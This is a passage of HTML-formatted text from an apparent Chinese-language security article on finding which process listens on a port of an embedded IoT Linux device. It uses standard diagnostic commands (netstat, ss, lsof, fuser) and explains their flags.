YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;">这时，我们往往需要查找该设备开启端口对应<span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);background-color: rgb(255, 255, 255);">的</span>服务，再对该服务进行测试。但是在通过端口查找进程的过程中可能会遇到一些问题，因为物联网中的Linux系统往往经过精简，很多命令的参数无法使用</span></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(63, 63, 63);font-size: 22.4px;box-sizing: border-box !important;overflow-wrap: break-word !important;">1 使用netstat</span></span></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;">这是最常用的方法之一，Netstat可以用来显示显示网络连接，路由表，网络接口状态等等</span></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;">Netstat在桌面版或者是服务器版的Linux上使用一般没有问题，但是该命令在嵌入式系统中往往被精简</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">sudo</span> netstat -tulpn</span></code></pre></section><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.3399602385685885" data-s="300,640" style="" data-type="png" data-w="1006" src="https://wechat2rss.xlab.app/img-proxy/?k=75ba9d02&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPYWYBD1qic74nMxXNA0wpbOvSxNf7QNKAeFhUdLGICE7tzGYYRtIDSfzx17LSTuAiblicrL4oA7p0NVw%2F640%3Fwx_fmt%3Dpng"/></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;">从图中我们可以看到8000端口上运行的服务是python</span></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;">解释一下每个参数的含义</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="diff"><code><span class="code-snippet_outer"> -t 显示tcp连接</span></code><code><span class="code-snippet_outer"> -u 显示udp连接</span></code><code><span class="code-snippet_outer"> -l 显示监听的套接字 </span></code><code><span class="code-snippet_outer"> -p 显示进程ID和该进程的名称</span></code><code><span class="code-snippet_outer"> -n 显示数字地址</span></code></pre></section><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;"></span><br/></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(63, 63, 63);font-size: 22.4px;box-sizing: border-box !important;overflow-wrap: break-word !important;">2 使用ss命令</span></span></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;">ss命令可以用来显示处于活动状态的套接字信息。ss命令可以用来获取socket统计信息，它可以显示和netstat类似的内容。但ss的优势在于它能够显示更多更详细的有关TCP和连接状态的信息，而且比netstat更快速更高效</span></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">sudo</span> ss -tulpn</span></code></pre></section><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;"></span><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.16817939135077417" data-s="300,640" style="" data-type="png" data-w="1873" src="https://wechat2rss.xlab.app/img-proxy/?k=16a3d2a2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPYWYBD1qic74nMxXNA0wpbOvKPuHUXP9Yib2UGgXQZdUkialfSAomx5mdcGibPgZ9cMvVX8ESHlBicBhfg%2F640%3Fwx_fmt%3Dpng"/></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;"></span><br/></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;">如果netstat没有相关参数，建议师傅们试试这个命令</span></strong><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></p><p style="white-space: normal;max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(63, 63, 63);font-size: 22.4px;box-sizing: border-box !important;overflow-wrap: break-word !important;">3 使用lsof</span></span></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;">顾名思义，losf是一个列出当前系统打开文件的工具，</span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">不过该命令在</span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">一般嵌入式Linux可能</span><span style="color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);">没有</span></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">sudo</span> <span class="code-snippet__selector-tag">lsof</span> <span class="code-snippet__selector-tag">-i</span> <span class="code-snippet__selector-pseudo">:8000</span></span></code></pre></section><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;"></span><br/></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.16842105263157894" data-s="300,640" style="" data-type="png" data-w="665" src="https://wechat2rss.xlab.app/img-proxy/?k=b0ea0422&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPYWYBD1qic74nMxXNA0wpbOvaZBbZsribS0ztng8PgakW3p8CXU5PeU3DDLJ9TYLT2NaLc3NgFiakzwQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;"></span><br/></p><p style="white-space: normal;max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(63, 63, 63);font-size: 22.4px;box-sizing: border-box !important;overflow-wrap: break-word !important;">4 fuser</span></span></p><p style="white-space: normal;max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;">fuser命令用于报告进程使用的文件和网络套接字</span></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">sudo</span> fuser <span class="code-snippet__number">8000</span>/tcp</span></code></pre></section><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(0, 0, 0);font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 16px;letter-spacing: 2px;caret-color: rgb(167, 167, 167);box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.2010178117048346" data-s="300,640" style="width: 577px;height: 116px;" data-type="png" data-w="393" src="https://wechat2rss.xlab.app/img-proxy/?k=2ae7e2d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fdjiam4RadAPYWYBD1qic74nMxXNA0wpbOvG2meZkRrgnSrJkZ03Ebx9zfOiaLOWmkmciawRn1F0XiaVjZ2Tn3nWV9Vg%2F640%3Fwx_fmt%3Dpng"/></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 